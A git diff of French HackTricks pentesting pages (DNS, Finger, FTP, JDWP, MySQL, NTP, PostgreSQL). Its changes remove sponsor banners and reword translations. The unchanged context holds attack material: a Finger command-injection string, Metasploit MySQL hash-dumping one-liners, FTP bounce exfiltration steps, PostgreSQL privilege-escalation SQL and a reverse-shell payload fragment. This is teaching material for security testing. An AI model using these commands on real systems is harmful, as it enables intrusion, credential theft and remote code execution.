- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-dns.md b/src/network-services-pentesting/pentesting-dns.md index 749a7970b..bfa11743a 100644 --- a/src/network-services-pentesting/pentesting-dns.md +++ b/src/network-services-pentesting/pentesting-dns.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **Informations de base** -Le **système de noms de domaine (DNS)** sert de répertoire d'internet, permettant aux utilisateurs d'accéder à des sites web via des **noms de domaine faciles à retenir** comme google.com ou facebook.com, au lieu des adresses numériques de protocole Internet (IP). En traduisant les noms de domaine en adresses IP, le DNS garantit que les navigateurs web peuvent rapidement charger les ressources internet, simplifiant ainsi notre navigation dans le monde en ligne. +Le **système de noms de domaine (DNS)** sert de répertoire pour Internet, permettant aux utilisateurs d'accéder à des sites Web via des **noms de domaine faciles à retenir** comme google.com ou facebook.com, au lieu des adresses numériques de protocole Internet (IP). En traduisant les noms de domaine en adresses IP, le DNS garantit que les navigateurs Web peuvent charger rapidement les ressources Internet, simplifiant ainsi notre navigation dans le monde en ligne. **Port par défaut :** 53 ``` @@ -26,7 +19,7 @@ PORT STATE SERVICE REASON - **Serveurs racine DNS** : Ceux-ci se trouvent au sommet de la hiérarchie DNS, gérant les domaines de premier niveau et intervenant uniquement si les serveurs de niveau inférieur ne répondent pas. La Internet Corporation for Assigned Names and Numbers (**ICANN**) supervise leur fonctionnement, avec un nombre global de 13. - **Serveurs de noms autoritaires** : Ces serveurs ont le dernier mot pour les requêtes dans leurs zones désignées, offrant des réponses définitives. S'ils ne peuvent pas fournir de réponse, la requête est escaladée vers les serveurs racine. - **Serveurs de noms non autoritaires** : Ne possédant pas de zones DNS, ces serveurs rassemblent des informations sur les domaines par le biais de requêtes à d'autres serveurs. -- **Serveur DNS de mise en cache** : Ce type de serveur mémorise les réponses aux requêtes précédentes pendant un certain temps pour accélérer les temps de réponse pour les demandes futures, la durée de mise en cache étant dictée par le serveur autoritaire. +- **Serveur DNS de mise en cache** : Ce type de serveur mémorise les réponses aux requêtes précédentes pendant un certain temps pour accélérer les temps de réponse pour les demandes futures, la durée du cache étant dictée par le serveur autoritaire. - **Serveur de transfert** : Jouant un rôle simple, les serveurs de transfert relaient simplement les requêtes à un autre serveur. - **Résolveur** : Intégré dans les ordinateurs ou les routeurs, les résolveurs exécutent la résolution de noms localement et ne sont pas considérés comme autoritaires. @@ -102,11 +95,11 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` > [!NOTE] -> Si vous parvenez à trouver des sous-domaines résolvant des adresses IP internes, vous devriez essayer d'effectuer un BF DNS inversé vers les NS du domaine demandant cette plage d'IP. +> Si vous parvenez à trouver des sous-domaines résolvant des adresses IP internes, vous devriez essayer d'effectuer un BF DNS inverse vers les NS du domaine demandant cette plage d'IP. Un autre outil pour cela : [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) -Vous pouvez interroger des plages IP inversées à [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (cet outil est également utile avec BGP). +Vous pouvez interroger des plages d'IP inverses à [https://bgp.he.net/net/205.166.76.0/24#\_dns](https://bgp.he.net/net/205.166.76.0/24#_dns) (cet outil est également utile avec BGP). ### DNS - BF des sous-domaines ```bash @@ -137,7 +130,7 @@ Force brute en utilisant des requêtes "AAAA" pour rassembler l'IPv6 des sous-do ```bash dnsdict6 -s -t ``` -Bruteforce de DNS inversé en utilisant des adresses IPv6 +Bruteforce de DNS inverse en utilisant des adresses IPv6 ```bash dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net ``` @@ -156,13 +149,6 @@ dig google.com A @ ![](<../images/image (146).png>) -
- -**Obtenez la perspective d'un hacker sur vos applications web, réseau et cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ### Mail à un compte inexistant @@ -239,12 +225,4 @@ Description: DNS enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit' ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, identifier les problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-finger.md b/src/network-services-pentesting/pentesting-finger.md index 1ec64ec7f..283f59052 100644 --- a/src/network-services-pentesting/pentesting-finger.md +++ b/src/network-services-pentesting/pentesting-finger.md @@ -2,17 +2,10 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## **Informations de base** -Le programme/service **Finger** est utilisé pour récupérer des détails sur les utilisateurs d'ordinateurs. En général, les informations fournies incluent le **nom d'utilisateur, le nom complet**, et, dans certains cas, des détails supplémentaires. Ces détails supplémentaires peuvent comprendre le lieu de bureau et le numéro de téléphone (si disponible), l'heure à laquelle l'utilisateur s'est connecté, la période d'inactivité (temps d'inactivité), la dernière fois que le mail a été lu par l'utilisateur, et le contenu des fichiers de plan et de projet de l'utilisateur. +Le programme/service **Finger** est utilisé pour récupérer des détails sur les utilisateurs d'ordinateurs. En général, les informations fournies incluent le **nom de connexion de l'utilisateur, le nom complet**, et, dans certains cas, des détails supplémentaires. Ces détails supplémentaires peuvent comprendre l'emplacement du bureau et le numéro de téléphone (si disponible), l'heure à laquelle l'utilisateur s'est connecté, la période d'inactivité (temps d'inactivité), la dernière fois que le mail a été lu par l'utilisateur, et le contenu des fichiers de plan et de projet de l'utilisateur. **Port par défaut :** 79 ``` @@ -60,12 +53,4 @@ finger "|/bin/ls -a /@example.com" finger user@host@victim finger @internal@external ``` -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, identifier les problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md index 05b14146d..8476144c7 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-download-2oftp-file.md @@ -1,13 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos plus de 20 outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - # Résumé Si vous avez accès à un serveur FTP de rebond, vous pouvez lui faire demander des fichiers d'un autre serveur FTP \(où vous connaissez des identifiants\) et télécharger ce fichier sur votre propre serveur. @@ -22,7 +14,7 @@ Si vous avez accès à un serveur FTP de rebond, vous pouvez lui faire demander ## Étapes -1. Connectez-vous à votre propre serveur FTP et rendez la connexion passive \(commande pasv\) pour qu'il écoute dans un répertoire où le service de la victime enverra le fichier +1. Connectez-vous à votre propre serveur FTP et rendez la connexion passive \(commande pasv\) pour l'écouter dans un répertoire où le service de la victime enverra le fichier 2. Créez le fichier qui sera envoyé par le serveur FTP intermédiaire au serveur de la victime \(l'exploit\). Ce fichier sera un texte brut des commandes nécessaires pour s'authentifier contre le serveur de la victime, changer de répertoire et télécharger un fichier sur votre propre serveur. 3. Connectez-vous au serveur FTP intermédiaire et téléchargez le fichier précédent 4. Faites établir une connexion entre le serveur FTP intermédiaire et le serveur de la victime et envoyez le fichier d'exploit @@ -31,12 +23,4 @@ Si vous avez accès à un serveur FTP de rebond, vous pouvez lui faire demander Pour des informations plus détaillées, consultez le post : [http://www.ouah.org/ftpbounce.html](http://www.ouah.org/ftpbounce.html) -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos plus de 20 outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md index 5b9032d3a..b9c122606 100644 --- a/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md +++ b/src/network-services-pentesting/pentesting-jdwp-java-debug-wire-protocol.md @@ -2,17 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ## Exploitation -L'exploitation de JDWP repose sur le **manque d'authentification et de cryptage du protocole**. On le trouve généralement sur le **port 8000**, mais d'autres ports sont possibles. La connexion initiale se fait en envoyant un "JDWP-Handshake" au port cible. Si un service JDWP est actif, il répond avec la même chaîne, confirmant sa présence. Ce handshake agit comme une méthode de fingerprinting pour identifier les services JDWP sur le réseau. +L'exploitation de JDWP repose sur le **manque d'authentification et de chiffrement du protocole**. Il se trouve généralement sur le **port 8000**, mais d'autres ports sont possibles. La connexion initiale se fait en envoyant un "JDWP-Handshake" au port cible. Si un service JDWP est actif, il répond avec la même chaîne, confirmant sa présence. Ce handshake agit comme une méthode de fingerprinting pour identifier les services JDWP sur le réseau. En termes d'identification de processus, rechercher la chaîne "jdwk" dans les processus Java peut indiquer une session JDWP active. @@ -70,12 +62,5 @@ J'ai constaté que l'utilisation de `--break-on 'java.lang.String.indexOf'` rend - [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html) - [http://nmap.org/nsedoc/scripts/jdwp-exec.html](http://nmap.org/nsedoc/scripts/jdwp-exec.html) -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-modbus.md b/src/network-services-pentesting/pentesting-modbus.md index 691bc4e8e..6c84d9a28 100644 --- a/src/network-services-pentesting/pentesting-modbus.md +++ b/src/network-services-pentesting/pentesting-modbus.md @@ -1,12 +1,5 @@ {{#include ../banners/hacktricks-training.md}} -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables ayant un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, identifier les problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} # Informations de base diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index d45308196..c3703bfff 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -2,12 +2,6 @@ {{#include ../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## **Informations de base** **MySQL** peut être décrit comme un système de gestion de base de données relationnelle (RDBMS) open source qui est disponible gratuitement. Il fonctionne sur le **Structured Query Language (SQL)**, permettant la gestion et la manipulation des bases de données. @@ -42,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds ``` ### [**Brute force**](../generic-hacking/brute-force.md#mysql) -### Écrire des données binaires quelconques +### Écrire des données binaires ```bash CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) CONVERT(from_base64("aG9sYWFhCg=="), BINARY) @@ -135,11 +129,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti ​ -
-​​[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} ## POST @@ -619,10 +609,4 @@ Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' ``` -
- -[**RootedCON**](https://www.rootedcon.com/) est l'événement de cybersécurité le plus pertinent en **Espagne** et l'un des plus importants en **Europe**. Avec **la mission de promouvoir les connaissances techniques**, ce congrès est un point de rencontre bouillonnant pour les professionnels de la technologie et de la cybersécurité dans chaque discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md index 86c6d310c..d1fa1c274 100644 --- a/src/network-services-pentesting/pentesting-ntp.md +++ b/src/network-services-pentesting/pentesting-ntp.md @@ -2,24 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus sur le hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de hacking en temps réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! - ## Informations de base -Le **Network Time Protocol (NTP)** garantit que les ordinateurs et les dispositifs réseau à travers des réseaux à latence variable synchronisent leurs horloges avec précision. C'est vital pour maintenir une chronométrie précise dans les opérations informatiques, la sécurité et la journalisation. L'exactitude de NTP est essentielle, mais elle pose également des risques de sécurité si elle n'est pas correctement gérée. +Le **Network Time Protocol (NTP)** garantit que les ordinateurs et les dispositifs réseau synchronisent leurs horloges avec précision à travers des réseaux à latence variable. C'est vital pour maintenir une chronométrie précise dans les opérations informatiques, la sécurité et la journalisation. L'exactitude de NTP est essentielle, mais elle pose également des risques de sécurité si elle n'est pas correctement gérée. ### Résumé & Conseils de sécurité : @@ -49,7 +34,7 @@ ntpdc -c sysinfo ```bash nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 ``` -## Examiner les fichiers de configuration +## Examine les fichiers de configuration - ntp.conf @@ -86,19 +71,6 @@ Name: Nmap Description: Enumerate NTP Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP} ``` -
- -Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs ! - -**Aperçus du Hacking**\ -Engagez-vous avec du contenu qui explore le frisson et les défis du hacking - -**Actualités de Hacking en Temps Réel**\ -Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel - -**Dernières Annonces**\ -Restez informé des nouvelles primes de bugs lancées et des mises à jour cruciales des plateformes - -**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui ! +​ {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-postgresql.md b/src/network-services-pentesting/pentesting-postgresql.md index 9d65faea3..00fd1f771 100644 --- a/src/network-services-pentesting/pentesting-postgresql.md +++ b/src/network-services-pentesting/pentesting-postgresql.md @@ -1,12 +1,5 @@ # 5432,5433 - Pentesting Postgresql -
- -\ -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=pentesting-postgresql) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Obtenez un accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=pentesting-postgresql" %} {{#include ../banners/hacktricks-training.md}} @@ -14,12 +7,12 @@ Obtenez un accès aujourd'hui : **PostgreSQL** est décrit comme un **système de base de données objet-relationnel** qui est **open source**. Ce système utilise non seulement le langage SQL mais l'améliore également avec des fonctionnalités supplémentaires. Ses capacités lui permettent de gérer une large gamme de types de données et d'opérations, ce qui en fait un choix polyvalent pour les développeurs et les organisations. -**Port par défaut :** 5432, et si ce port est déjà utilisé, il semble que postgresql utilisera le port suivant (probablement 5433) qui n'est pas utilisé. +**Port par défaut :** 5432, et si ce port est déjà utilisé, il semble que postgresql utilisera le port suivant (5433 probablement) qui n'est pas utilisé. ``` PORT STATE SERVICE 5432/tcp open pgsql ``` -## Connexion et Enumération de Base +## Connexion & Enumération de base ```bash psql -U # Open psql console with user psql -h -U -d # Remote connection @@ -109,7 +102,7 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` -Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir des détails sur les exceptions. Cependant, si vous avez un accès direct au serveur PostgreSQL, vous pouvez récupérer les informations nécessaires. Si l'extraction des noms d'utilisateur et des mots de passe des tables système n'est pas réalisable, vous pouvez envisager d'utiliser la méthode d'attaque par liste de mots discutée dans la section précédente, car cela pourrait potentiellement donner des résultats positifs. +Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir des détails sur les exceptions. Cependant, si vous avez un accès direct au serveur PostgreSQL, vous pouvez récupérer les informations nécessaires. Si l'extraction des noms d'utilisateur et des mots de passe des tables système n'est pas réalisable, vous pouvez envisager d'utiliser la méthode d'attaque par liste de mots discutée dans la section précédente, car elle pourrait potentiellement donner des résultats positifs. ## Énumération des privilèges @@ -118,16 +111,16 @@ Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir des d | Types de rôle | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | | rolsuper | Le rôle a des privilèges de superutilisateur | -| rolinherit | Le rôle hérite automatiquement des privilèges des rôles dont il est membre | +| rolinherit | Le rôle hérite automatiquement des privilèges des rôles dont il est membre | | rolcreaterole | Le rôle peut créer d'autres rôles | -| rolcreatedb | Le rôle peut créer des bases de données | +| rolcreatedb | Le rôle peut créer des bases de données | | rolcanlogin | Le rôle peut se connecter. C'est-à-dire que ce rôle peut être donné comme identifiant d'autorisation de session initiale | | rolreplication | Le rôle est un rôle de réplication. Un rôle de réplication peut initier des connexions de réplication et créer et supprimer des slots de réplication. | | rolconnlimit | Pour les rôles qui peuvent se connecter, cela définit le nombre maximum de connexions simultanées que ce rôle peut établir. -1 signifie pas de limite. | | rolpassword | Pas le mot de passe (se lit toujours comme `********`) | -| rolvaliduntil | Date d'expiration du mot de passe (utilisé uniquement pour l'authentification par mot de passe) ; null si pas d'expiration | +| rolvaliduntil | Date d'expiration du mot de passe (utilisé uniquement pour l'authentification par mot de passe) ; null si aucune expiration | | rolbypassrls | Le rôle contourne chaque politique de sécurité au niveau des lignes, voir [Section 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) pour plus d'informations. | -| rolconfig | Valeurs par défaut spécifiques au rôle pour les variables de configuration à l'exécution | +| rolconfig | Valeurs par défaut spécifiques au rôle pour les variables de configuration à l'exécution | | oid | ID du rôle | #### Groupes intéressants @@ -137,7 +130,7 @@ Dans les fonctions PL/pgSQL, il n'est actuellement pas possible d'obtenir des d - Si vous êtes membre de **`pg_write_server_files`**, vous pouvez **écrire** des fichiers > [!NOTE] -> Notez que dans Postgres, un **utilisateur**, un **groupe** et un **rôle** sont la **même chose**. Cela dépend simplement de **comment vous l'utilisez** et si vous **l'autorisez à se connecter**. +> Notez que dans Postgres, un **utilisateur**, un **groupe** et un **rôle** sont **les mêmes**. Cela dépend simplement de **comment vous l'utilisez** et si vous **l'autorisez à se connecter**. ```sql # Get users roles \du @@ -217,7 +210,7 @@ SELECT * FROM pg_proc; ``` ## Actions sur le système de fichiers -### Lire les répertoires et les fichiers +### Lire des répertoires et des fichiers À partir de ce [**commit** ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a), les membres du groupe défini **`DEFAULT_ROLE_READ_SERVER_FILES`** (appelé **`pg_read_server_files`**) et les **super utilisateurs** peuvent utiliser la méthode **`COPY`** sur n'importe quel chemin (consultez `convert_and_check_filename` dans `genfile.c`) : ```sql @@ -268,7 +261,7 @@ Seuls les **super utilisateurs** et les membres de **`pg_write_server_files`** p copy (select convert_from(decode('','base64'),'utf-8')) to '/just/a/path.exec'; ``` > [!WARNING] -> N'oubliez pas que si vous n'êtes pas super utilisateur mais que vous avez les permissions **`CREATEROLE`**, vous pouvez **vous rendre membre de ce groupe :** +> Rappelez-vous que si vous n'êtes pas super utilisateur mais que vous avez les permissions **`CREATEROLE`**, vous pouvez **vous rendre membre de ce groupe :** > > ```sql > GRANT pg_write_server_files TO username; @@ -276,7 +269,7 @@ copy (select convert_from(decode('','base64'),'utf-8')) to '/ju > > [**Plus d'infos.**](pentesting-postgresql.md#privilege-escalation-with-createrole) -N'oubliez pas que COPY ne peut pas gérer les caractères de nouvelle ligne, donc même si vous utilisez un payload base64, **vous devez envoyer une ligne unique**.\ +Rappelez-vous que COPY ne peut pas gérer les caractères de nouvelle ligne, donc même si vous utilisez un payload base64, **vous devez envoyer une ligne unique**.\ Une limitation très importante de cette technique est que **`copy` ne peut pas être utilisé pour écrire des fichiers binaires car cela modifie certaines valeurs binaires.** ### **Téléchargement de fichiers binaires** @@ -287,12 +280,6 @@ Cependant, il existe **d'autres techniques pour télécharger de gros fichiers b ../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md {{#endref}} -## - -**Astuce bug bounty** : **inscrivez-vous** sur **Intigriti**, une plateforme de **bug bounty premium créée par des hackers, pour des hackers** ! Rejoignez-nous sur [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) aujourd'hui, et commencez à gagner des primes allant jusqu'à **100 000 $** ! - -{% embed url="https://go.intigriti.com/hacktricks" %} - ### Mise à jour des données de la table PostgreSQL via l'écriture de fichiers locaux Si vous avez les permissions nécessaires pour lire et écrire des fichiers du serveur PostgreSQL, vous pouvez mettre à jour n'importe quelle table sur le serveur en **écrasant le nœud de fichier associé** dans [le répertoire de données PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Plus sur cette technique** [**ici**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users). @@ -364,9 +351,9 @@ SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}') SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea) ``` -8. Vous devriez maintenant voir les valeurs de la table mises à jour dans PostgreSQL. +8. Vous devriez maintenant voir des valeurs de table mises à jour dans PostgreSQL. -Vous pouvez également devenir superadmin en modifiant la table `pg_authid`. **Voir** [**la section suivante**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). +Vous pouvez également devenir superadmin en éditant la table `pg_authid`. **Voir** [**la section suivante**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables). ## RCE @@ -521,7 +508,7 @@ execve("/bin/bash", argv, NULL); } ``` -Compiler le code : +Compilation du code : ```bash gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c @@ -530,17 +517,17 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so 6. Téléchargez le `postgresql.conf` malveillant, créé dans les étapes 2-3, et écrasez l'original 7. Téléchargez le `payload.so` de l'étape 5 dans le répertoire `/tmp` 8. Rechargez la configuration du serveur en redémarrant le serveur ou en invoquant la requête `SELECT pg_reload_conf()` -9. À la prochaine connexion à la DB, vous recevrez la connexion de reverse shell. +9. Lors de la prochaine connexion à la base de données, vous recevrez la connexion de reverse shell. ## **Postgres Privesc** -### Privesc CREATEROLE +### CREATEROLE Privesc #### **Grant** Selon les [**docs**](https://www.postgresql.org/docs/13/sql-grant.html) : _Les rôles ayant le privilège **`CREATEROLE`** peuvent **accorder ou révoquer l'appartenance à tout rôle** qui **n'est pas** un **superutilisateur**._ -Donc, si vous avez la permission **`CREATEROLE`**, vous pourriez vous accorder l'accès à d'autres **rôles** (qui ne sont pas superutilisateur) qui peuvent vous donner la possibilité de lire et d'écrire des fichiers et d'exécuter des commandes : +Donc, si vous avez la permission **`CREATEROLE`**, vous pourriez vous accorder l'accès à d'autres **rôles** (qui ne sont pas superutilisateurs) qui peuvent vous donner la possibilité de lire et d'écrire des fichiers et d'exécuter des commandes : ```sql # Access to execute commands GRANT pg_execute_server_program TO username; @@ -558,7 +545,7 @@ ALTER USER user_name WITH PASSWORD 'new_password'; ``` #### Privesc to SUPERUSER -Il est assez courant de constater que **les utilisateurs locaux peuvent se connecter à PostgreSQL sans fournir de mot de passe**. 